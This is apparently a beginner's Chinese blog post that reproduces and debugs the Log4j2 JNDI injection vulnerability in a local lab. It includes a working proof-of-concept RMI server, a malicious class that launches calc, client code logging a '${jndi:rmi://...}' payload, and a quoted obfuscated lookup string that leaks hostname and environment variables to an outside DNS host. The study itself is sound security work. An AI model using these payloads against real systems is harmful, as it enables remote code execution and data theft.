Log4j2 漏洞复现

刚入门web安全,简单分析了下之前比较火的Log4j2漏洞,当然肯定有些地方还是没有理解到位的。

什么是Log4J

log4j是Apache的一个开放源代码的项目,通过使用log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来讲就是记录日志的一个框架,使用比较广,功能比较多,比较方便。

然后我自己也尝试去用log4j-1.2.17.jar去使用下这个日志打印,但是没能成功,无论怎么配置总是会出现。

log4j:WARN No appenders could be found for logger (MyTest).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.

但是对漏洞分析并没什么影响。

具体配置Log4J环境的文章可以看看这三篇文章,介绍得比较详细。

Log4j2 原理

Log4j2的Lookups

正常我们使用Log4j2打印日志,如下。

1
2
3
4
5
6

public void login(string name){
String name = "test"; //表单接收name字段
logger.info("{},登录了", name); //logger为log4j
}
//test,登录了

但是如果我们将name修改一下,成为{$java:os},结果就会改变。

1
2
3
4
5
6

public void login(string name){
String name = "${java:os}"; //表单接收name字段
logger.info("{},登录了", name); //logger为log4j
}
//Windows 7 6.1 Service Pack 1,体系结构:amd64-64,登录了

而照成这一原因就是Log4j2的Lookups功能,也就是查找功能,类似于一个字典,可以根据key来找到value。

并且提供Jndi Lookup,如下。

更多Lookup,参考官方文档,https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

JNDI注入+RMI

然后我们来看看一个playload:${jndi:rmi:192.168.9.23:1099/remote},我们需要知道

为什么playload是这个样子,这实际上这将设计到java安全的知识了,由于没有java经验,在看了很多文章后,只能简单总结下。

JNDI概念

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。

主要就是JNDI注入+RMI

先看一段常见JNDI注入+RMI代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象

}
}

可以看到,如果uri设置成这样,客户端就可能就可能会被攻击,原因是我们加了个rmi(远程方法调用 RMI),代表可以运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,所以只要我们设置好服务端的恶意方法,客户端就会去执行他,而这个过程就又设计到了JNDI的LDAP服务等一系列操作。

而Log4j2漏洞就是利用了其提供了提供Jndi Lookup,而且如果我们能够控制输入的name时,就可以进行利用,简单理一下流程。

  • 我们控制输入,输入playload:${jndi:rmi:192.168.9.23:1099/remote}
  • 然后Log4j2打印日志时,使用logger.info(“{}”, name);
  • lookup解析jndi,客户端远端调用服务端的恶意方法(实际上这一过程比较复杂,需要对java安全有比较深入的了解)。

参考文章:Java安全之JNDI注入Log4j2注入漏洞万字剖析-汇总收藏版Log4j2原理
特别是第二篇文章,详细的介绍了LDAP方式的利用过程及原理,对过程非常详细,还有图片流程。

Log4j2 复现

配置环境

我这里是直接下载了网上找的一个demo,相当于已经配好了环境,只是需要更改下jdk版本,jdk环境为jdk1.8.0_91。

然后来看看demo的代码。

攻击服务端,主要就是利用Reference包装了一个恶意类,然后注册到了我们指定的远端服务器,也就是127.0.0.1:1099。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* 准备好RMI服务端,等待受害服务器访问
*/
public class RMIServer {
public static void main(String[] args) {
try {
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把远程对象注册到RMI注册服务器上,并命名为evil
registry.bind("evil",referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

恶意类,我们如果去创建一个EvilCode对象,也就是new EvilCode(),就会弹出计算器,就相当于构造函数了,一旦创建,就会执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
* 执行任意的脚本,目前的脚本会使windows服务器打开计算器
*/
public class EvilCode {
static {
System.out.println("受害服务器将执行下面命令行");
Process p;

String[] cmd = {"calc"};
try {
p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

客户端,log4j2的日志记录引发漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
//有些高版本jdk需要打开此行代码
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

//模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
String username = "${jndi:rmi://127.0.0.1:1099/evil}";
//正常打印业务日志
logger.error("username:{}",username);
}
}

调试过程

先运行RMIServer,启动攻击服务,然后调试log4j。

context.lookup

logger.error()f7步入后,经过调试很长一段,找到了匹配${}的地方。

主要是这里的toText()

跟进toText(),跟到toSerializable(),会发现个for循环,其实是在看属于什么事件,是debug还是error,当i=8时,也就是我们这个样本使用的,即logger.error()。

当i=8的时候步入,然后步入fomat,发现在匹配${,然后返回去掉${}的playload。

接下来步入replace(),然后跟到substitute()的this.resolveVariable(event, varName, buf, startPos, pos);

在调试几步就到了log4j2的lookup方法,这部分会根据字符‘:’的前面部分字符串从strLookupMap中判断是什么lookup,然后调用对应的Lookup方法。

接下来调试JndiLookup(),return var6的时候f7步入,可以发现实际上是调用了this.context.lookup(name);

补充一点,上面的srtlookup包含“:-”分割jndi的方式,所以能看到${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk的一些playload,是因为::- 前面的数据会直接丢弃。
原文链接:https://blog.csdn.net/qq_42322144/article/details/121922084
reference:http://www.ch4ser.top/2021/12/11/log4j2-jndi/

jndi注入

下面的过程就是jndi注入的过程了。

这里需要强制步入this.context.lookup(name);,先是会进入getURLOrDefaultInitCtx(),这一步呢主要就是为给定的 URL 方案 ID 创建一个上下文,这个方案id就是getURLScheme返回的字符,也就是rmi或者ldap等,getURLContext()官方文档,主要感觉就是返回对应的类型,以便后面确定对应的方法函数。

继续跟进,会发现又调用一个lookup的实现方法。

跟进getRootURLContext会发现,其实这个函数就是在解析我们的upl,ip和端口以及未能解析的部分,并返回一个ResolveResult的类来表示名称解析的结果。Class ResolveResult

函数返回后我们看var2,可以发现 remainingName=”evil”,也就是未能解析的部分。

接着会调用getResolvedObj来检索解析成功的对象,也就是ip和port给到var3。

紧接着,又会将var2作为某个lookup的方法的参数,执行lookup函数,跟进这个lookup函数,发现又将会调用一个lookup方法,并且在最后解密一个对象。

跟进RegistryImpl_Stub()的lookup,这里好像调试不了,但是通过官方文档可以知道,这是在返回绑定到此注册表中指定的远程引用,也就是我们在攻击服务端注册的远程对象。java.rmi.registry

接下来跟进decodeObject(var2, var1.getPrefix(1))

f7步入,跟到这个地方会发现,所以getReference就是在获取我们之前用Reference包装的那个恶意类,并返回给了var3。

紧接着,调用getObjectInstance(),使用位置或引用信息以及指定的属性创建对象,getObjectInstance

跟进getObjectInstance看看,究竟是如何执行的。

这里我们先了解一个名词Codebase:简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。https://blog.csdn.net/bigtree_3721/article/details/50614289

然后再看看ObjectFactory,https://www.runoob.com/manual/jdk11api/java.naming/javax/naming/spi/ObjectFactory.html


然后跟进这个函数,会发现有个loadclass函数。

最后如果一步步跟loadclass就会发现代码将跑到我们的恶意类那里去。

reference:jndi注入调试

总结

这个漏洞其实主要还是jndi注入,Log4j2只是恰好提供了jndi的lookup,漏洞分析过程中也是查询和借鉴了大量的文章,也算是学到了很多。